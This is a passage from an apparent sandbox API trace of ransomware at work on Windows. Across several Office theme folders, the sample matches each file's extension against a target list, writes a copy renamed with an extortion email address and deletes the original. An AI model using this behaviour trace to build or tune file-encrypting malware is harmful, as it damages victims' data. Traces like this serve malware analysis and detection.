[0045.828] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.828] lstrlenW (lpString=".dbf") returned 4 [0045.829] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.829] lstrlenW (lpString=".1cd") returned 4 [0045.829] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.829] lstrlenW (lpString=".jpg") returned 4 [0045.829] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.829] lstrlenW (lpString=".doc") returned 4 [0045.829] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.829] lstrlenW (lpString=".docx") returned 5 [0045.829] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.829] lstrlenW (lpString=".pdf") returned 4 [0045.829] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.829] lstrlenW (lpString=".xls") returned 4 [0045.829] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.829] lstrlenW (lpString=".xlsx") returned 5 [0045.829] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.829] lstrlenW (lpString=".ppt") returned 4 [0045.829] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.829] lstrlenW (lpString=".zip") returned 4 [0045.829] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.829] lstrlenW (lpString=".rar") returned 4 [0045.829] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.829] lstrlenW (lpString=".bz2") returned 4 [0045.830] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.830] lstrlenW (lpString=".7z") returned 3 [0045.830] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.830] lstrlenW (lpString=".dbf") returned 4 [0045.830] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.830] lstrlenW (lpString=".1cd") returned 4 [0045.830] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.830] lstrlenW (lpString=".jpg") returned 4 [0045.830] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.830] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.830] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.164] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=19485) returned 1 [0046.164] CloseHandle (hObject=0x214) returned 1 [0046.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0046.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0046.173] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.173] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.173] GetLastError () returned 0x0 [0046.173] ReadFile (in: hFile=0x220, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0046.195] WriteFile (in: hFile=0x160, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0046.196] ReadFile (in: hFile=0x220, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.196] WriteFile (in: hFile=0x160, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.197] SetEndOfFile (hFile=0x160) returned 1 [0046.197] CloseHandle (hObject=0x160) returned 1 [0046.197] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.197] SetEndOfFile (hFile=0x220) returned 1 [0046.198] CloseHandle (hObject=0x220) returned 1 [0046.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.198] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0046.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.198] lstrlenW (lpString=".doc") returned 4 [0046.198] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.198] lstrlenW (lpString=".docx") returned 5 [0046.198] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.198] lstrlenW (lpString=".pdf") returned 4 [0046.198] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.198] lstrlenW (lpString=".xls") returned 4 [0046.198] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.198] lstrlenW (lpString=".xlsx") returned 5 [0046.198] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.198] lstrlenW (lpString=".ppt") returned 4 [0046.198] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.198] lstrlenW (lpString=".zip") returned 4 [0046.198] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.198] lstrlenW (lpString=".rar") returned 4 [0046.199] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.199] lstrlenW (lpString=".bz2") returned 4 [0046.199] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.199] lstrlenW (lpString=".7z") returned 3 [0046.199] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.199] lstrlenW (lpString=".dbf") returned 4 [0046.199] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.199] lstrlenW (lpString=".1cd") returned 4 [0046.199] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.199] lstrlenW (lpString=".jpg") returned 4 [0046.199] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.199] lstrlenW (lpString=".doc") returned 4 [0046.199] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.199] lstrlenW (lpString=".docx") returned 5 [0046.199] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.199] lstrlenW (lpString=".pdf") returned 4 [0046.199] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.199] lstrlenW (lpString=".xls") returned 4 [0046.199] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.199] lstrlenW (lpString=".xlsx") returned 5 [0046.199] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.199] lstrlenW (lpString=".ppt") returned 4 [0046.199] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.199] lstrlenW (lpString=".zip") returned 4 [0046.199] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.199] lstrlenW (lpString=".rar") returned 4 [0046.199] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.200] lstrlenW (lpString=".bz2") returned 4 [0046.200] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.200] lstrlenW (lpString=".7z") returned 3 [0046.200] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.200] lstrlenW (lpString=".dbf") returned 4 [0046.200] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.200] lstrlenW (lpString=".1cd") returned 4 [0046.200] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0046.200] lstrlenW (lpString=".jpg") returned 4 [0046.200] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.200] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.200] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.482] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=11573) returned 1 [0046.482] CloseHandle (hObject=0x1c8) returned 1 [0046.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0046.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.495] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.495] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.502] GetLastError () returned 0x0 [0046.502] ReadFile (in: hFile=0x1c8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2d35, lpOverlapped=0x0) returned 1 [0046.504] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0046.506] ReadFile (in: hFile=0x1c8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.506] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.506] SetEndOfFile (hFile=0x1e8) returned 1 [0046.506] CloseHandle (hObject=0x1e8) returned 1 [0046.506] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.506] SetEndOfFile (hFile=0x1c8) returned 1 [0046.507] CloseHandle (hObject=0x1c8) returned 1 [0046.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.507] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0046.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.507] lstrlenW (lpString=".doc") returned 4 [0046.507] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.507] lstrlenW (lpString=".docx") returned 5 [0046.507] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.507] lstrlenW (lpString=".pdf") returned 4 [0046.507] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.508] lstrlenW (lpString=".xls") returned 4 [0046.508] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.508] lstrlenW (lpString=".xlsx") returned 5 [0046.508] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.508] lstrlenW (lpString=".ppt") returned 4 [0046.508] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.508] lstrlenW (lpString=".zip") returned 4 [0046.508] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.508] lstrlenW (lpString=".rar") returned 4 [0046.508] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.508] lstrlenW (lpString=".bz2") returned 4 [0046.508] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.508] lstrlenW (lpString=".7z") returned 3 [0046.508] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.508] lstrlenW (lpString=".dbf") returned 4 [0046.508] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.508] lstrlenW (lpString=".1cd") returned 4 [0046.508] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.508] lstrlenW (lpString=".jpg") returned 4 [0046.508] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.508] lstrlenW (lpString=".doc") returned 4 [0046.508] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.508] lstrlenW (lpString=".docx") returned 5 [0046.508] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.508] lstrlenW (lpString=".pdf") returned 4 [0046.509] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.509] lstrlenW (lpString=".xls") returned 4 [0046.509] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.509] lstrlenW (lpString=".xlsx") returned 5 [0046.509] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.509] lstrlenW (lpString=".ppt") returned 4 [0046.509] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.509] lstrlenW (lpString=".zip") returned 4 [0046.509] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.509] lstrlenW (lpString=".rar") returned 4 [0046.509] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.509] lstrlenW (lpString=".bz2") returned 4 [0046.509] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.509] lstrlenW (lpString=".7z") returned 3 [0046.509] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.509] lstrlenW (lpString=".dbf") returned 4 [0046.509] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.509] lstrlenW (lpString=".1cd") returned 4 [0046.509] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0046.509] lstrlenW (lpString=".jpg") returned 4 [0046.509] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.509] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.509] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0047.612] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=34163) returned 1 [0047.614] CloseHandle (hObject=0x188) returned 1 [0047.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0047.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0047.615] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.615] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0047.615] GetLastError () returned 0x0 [0047.615] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x8573, lpOverlapped=0x0) returned 1 [0047.659] WriteFile (in: hFile=0x220, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x8580, lpOverlapped=0x0) returned 1 [0047.720] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.720] WriteFile (in: hFile=0x220, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.720] SetEndOfFile (hFile=0x220) returned 1 [0047.720] CloseHandle (hObject=0x220) returned 1 [0047.720] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.720] SetEndOfFile (hFile=0x188) returned 1 [0047.721] CloseHandle (hObject=0x188) returned 1 [0047.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.721] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0047.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.722] lstrlenW (lpString=".doc") returned 4 [0047.722] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.722] lstrlenW (lpString=".docx") returned 5 [0047.722] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.722] lstrlenW (lpString=".pdf") returned 4 [0047.722] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.722] lstrlenW (lpString=".xls") returned 4 [0047.722] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.722] lstrlenW (lpString=".xlsx") returned 5 [0047.722] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.722] lstrlenW (lpString=".ppt") returned 4 [0047.722] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.722] lstrlenW (lpString=".zip") returned 4 [0047.722] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.722] lstrlenW (lpString=".rar") returned 4 [0047.722] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.722] lstrlenW (lpString=".bz2") returned 4 [0047.722] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.722] lstrlenW (lpString=".7z") returned 3 [0047.722] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 